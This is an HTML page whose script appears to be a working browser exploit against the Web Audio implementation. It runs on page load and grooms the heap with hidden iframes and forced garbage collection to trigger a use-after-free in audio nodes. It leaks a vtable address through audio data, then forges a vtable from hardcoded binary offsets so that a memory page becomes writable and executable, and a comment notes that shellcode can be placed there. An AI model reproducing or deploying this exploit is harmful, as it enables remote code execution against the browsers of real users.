<html>
<head>
<script>

const audioCtx = new OfflineAudioContext(1, 8000, 8000);
const buffer = audioCtx.createBuffer(2, 1, 44100);
const audioCtx2 = new OfflineAudioContext(1, 44100, 44100);
const script1 = audioCtx2.createScriptProcessor(256, 1, 1);
const script2 = audioCtx2.createScriptProcessor(256, 1, 1);
const audioCtx3 = new OfflineAudioContext(1, 4096, 4096);
const biquadVtableOffset = 0x64021c0n + 0x10n;
const osSetPermissionsOffset = 0x4e65a68n;
const poly4ArgsInvokerOffset = 0x2092434n;
const noOptRetOffset = 0x5d0c9b4n;
const bindStateOffset = 50n;


const src = audioCtx2.createConstantSource();
response = null;
nodes = [];
sources = [];
addr = null;
delayNodeArr = [];
audioCtxArr = [];

function gc() {
  let x = [];
  for (let i = 0; i < 100; i++) {
    x.push(new Array(1024 * 1024));
  }

}
//Some times a bigger memory allocation is needed to trigger gc
function gc2() {
  let x = [];
  for (let i = 0; i < 200; i++) {
    x.push(new Array(1024 * 1024));
  }
}


function fetchData() {
  var request = new XMLHttpRequest();
  request.open('GET', 'out2.mp3', true);
  request.responseType = 'arraybuffer';
  request.onload = () => {
    response = request.response;
  }
  request.send();
}

function sleep(miliseconds) {
   var currentTime = new Date().getTime();
   while (currentTime + miliseconds >= new Date().getTime()) {
   }
}

function convertAddress(float1, float2) {
  let buf = new ArrayBuffer(8);
  let BigUIntView = new BigUint64Array(buf);
  let floatView = new Float32Array(buf);
  floatView[0] = float1;
  floatView[1] = float2;
  return BigUIntView[0];
}

function calculatePageStart(address) {
  return address & (-4096n)
}

function writeData(addr, data) {
  let bigUint64View = new BigUint64Array(data.buffer);
  let baseAddr = addr.vtable - biquadVtableOffset;
  //fake vtable, fill it all with nopt
  for (let i = 0; i < 50; i++) {
    bigUint64View[i] = baseAddr + noOptRetOffset;
  }
  //The actual function to call, which is PropagateSilence.
  bigUint64View[14] = baseAddr + poly4ArgsInvokerOffset;
  //Can write shell code to the rest of the page buffer.
}

function scriptProcess(audioProcessingEvent) {
  var s = ""
  var inputBuffer = audioProcessingEvent.inputBuffer;
  for (var channel = 0; channel < inputBuffer.numberOfChannels; channel++) {
    var inputData = inputBuffer.getChannelData(channel);
    for (let i = 0; i < inputBuffer.length; i++) {
      if (inputData[i] != 0) {
        addr = computeBiquadAddresses(inputData, i);
        break;
      }
    }
  }
  gc2();
  for (let i = 0; i < 60; i++) {
    let audioCtxDelay = new OfflineAudioContext(1, 4096, 4096);
    let delayNode = audioCtxDelay.createDelay(0.03125);
    audioCtxArr.push(audioCtxDelay);
    delayNodeArr.push(delayNode);
  }
  let buffer = audioCtx3.createBuffer(1, 256, 4096);
  let data = buffer.getChannelData(0);
  writeData(addr, data);
  for (let i = 0; i < delayNodeArr.length; i++) {
    let audioCtxDelay = audioCtxArr[i];
    let delayNode = delayNodeArr[i];
    let srcNode = audioCtxDelay.createBufferSource();
    srcNode.buffer = buffer;
    srcNode.connect(delayNode).connect(audioCtxDelay.destination);
    audioCtxDelay.suspend(256/4096.0);
    srcNode.start();
    audioCtxDelay.startRendering();
  }
  sleep(1000);
  createVirtualCallFrame();
}

function computeBiquadAddresses(inputBuffer, offset) {
  let out = "";
  let vtableAddr = convertAddress(inputBuffer[offset], inputBuffer[offset + 1]);
  out += "Biquad vtable: 0x" + vtableAddr.toString(16) + "\n";
  let b0 = convertAddress(inputBuffer[offset + 8], inputBuffer[offset + 9]);
  out += "b0: 0x" + b0.toString(16) + "\n";
  let b1 = convertAddress(inputBuffer[offset + 16], inputBuffer[offset + 17]);
  out += "b1: 0x" + b1.toString(16) + "\n";
  let b2 = convertAddress(inputBuffer[offset + 20], inputBuffer[offset + 21]);
  out += "b2: 0x" + b2.toString(16) + "\n";
  let a1 = convertAddress(inputBuffer[offset + 28], inputBuffer[offset + 29]);
  out += "a1: 0x" + a1.toString(16) + "\n";
  let a2 = convertAddress(inputBuffer[offset + 32], inputBuffer[offset + 33]);
  out += "a2: 0x" + a2.toString(16) + "\n";
  let baseAddr = vtableAddr - biquadVtableOffset;
  return {vtable: vtableAddr, b0: b0, b1: b1, b2: b2, a1: a1, a2: a2}
}

function createSource() {
  let s = audioCtx.createChannelMerger(3);
}

function delay() {
  sleep(5);
}

function scriptProcess2(audioProcessingEvent) {
  //Need to use for creating holes for AudioOutputNode, so they don't get reclaim
  createSource();
  for (let i = 0; i < 1000; i++) {
    setTimeout(delay, 0);
  }
  script2.disconnect();
  gc2();
  //Needs to wait for the small objects allocated by GC to clear
  sleep(4000);
  //Reclaim gain
  let gain = audioCtx2.createGain();
  //Just to arrange the heap
  let src0 = audioCtx2.createChannelMerger(1);
  audioCtx.decodeAudioData(response);
  for (let i = 2; i < 14; i+=2) {
    nodes[i] = null;
  }
  sleep(10);
}

function allocateNodes() {
  for (let i = 0; i < 18; i++) {
    nodes.push(audioCtx.createBiquadFilter());
  }
}

function createIframe() {
  allocateNodes();
  nodes[1] = null;
  nodes[3] = null;
  nodes[5] = null;
  nodes[7] = null;
  nodes[9] = null;
  nodes[11] = null;

  fetchData();
  script1.channelCountMode = 'explicit';
  script1.channelCount = 1;
  script2.channelCount = 1;
  src.start();
  let iframe = document.createElement('iframe');
  iframe.style.display="none";
  iframe.setAttribute('id', 'ifrm');
  iframe.src = 'tear_down2.html';
  document.body.appendChild(iframe);
}

function createChain(merger) {
  let gain = audioCtx2.createGain();
  gain.channelCountMode = 'explicit';
  gain.channelCount = 1;
  src.channelCount = 1;
  merger.channelCount = 1;
  src.connect(script2).connect(gain).connect(script1).connect(merger, 0, 2).connect(audioCtx2.destination);
  src.stop();
}

function remove() {
  gc();
  let frame = document.getElementById("ifrm");
  frame.parentNode.removeChild(frame);
  merger = audioCtx2.createChannelMerger(32);
  merger.channelCountMode = 'explicit';
  createChain(merger);
  audioCtx2.suspend(128/44100);
  audioCtx2.startRendering();
  sleep(1000);
  script1.onaudioprocess = scriptProcess;
  script2.onaudioprocess = scriptProcess2;
}

function createVirtualCallFrame() {
  let baseAddr = addr.vtable - biquadVtableOffset;
  let text = document.createElement('textarea');
  let out = "baseAddr: 0x" + (addr.vtable - biquadVtableOffset).toString(16) + "\n";
  out += "Page to grant rwx: 0x" + calculatePageStart(addr.b0).toString(16) + "\n";
  out += "Controlled area of size 1152 byte starts from: 0x" + addr.b0.toString(16);
  text.rows = 4;
  text.cols = 50;
  text.value = out;

  let iframe = document.createElement('iframe');
  iframe.style.display="none";
  iframe.setAttribute('id', 'ifrm');
  iframe.src = 'tear_down2_virtual.html';
  document.body.appendChild(iframe);
  document.body.appendChild(text);
}

function removeVirtual() {
  //feedForward will be used to fake a delay node deleted in child frame
  let feedForward = new Array(16);
  let feedBack = [1, 1, 1];
  let vtableBuf = new ArrayBuffer(8);
  let b0Buf = new ArrayBuffer(8);

  let vTableView = new BigUint64Array(vtableBuf);
  let b0View = new BigUint64Array(b0Buf);
  vTableView[0] = addr.vtable;
  b0View[0] = addr.b0;
  let b0DoubleView = new Float64Array(b0Buf);
  feedForward.fill(0);
  feedForward[13] = 1;
  feedForward[0] = b0DoubleView[0];
  let functionBuf = new ArrayBuffer(32);
  let functionBigIntView = new BigUint64Array(functionBuf);
  let baseAddr = addr.vtable - biquadVtableOffset;

  functionBigIntView[0] = baseAddr + osSetPermissionsOffset;
  functionBigIntView[1] = calculatePageStart(addr.b0);
  functionBigIntView[2] = 0x2000n;
  functionBigIntView[3] = 0x03n;
  let functionFloatView = new Float64Array(functionBuf);

  feedForward[5] = functionFloatView[1];
  feedForward[4] = functionFloatView[0];
  feedForward[6] = functionFloatView[2];
  feedForward[7] = functionFloatView[3];

  gc();

  let frame = document.getElementById("ifrm");
  frame.parentNode.removeChild(frame);
  const iirFilter = audioCtx3.createIIRFilter(feedForward, feedBack);
  const delayNode = audioCtx3.createDelay(0.01);
  sleep(10000);
}


</script>
</head>
<body onload="createIframe()">
</body>
</html>
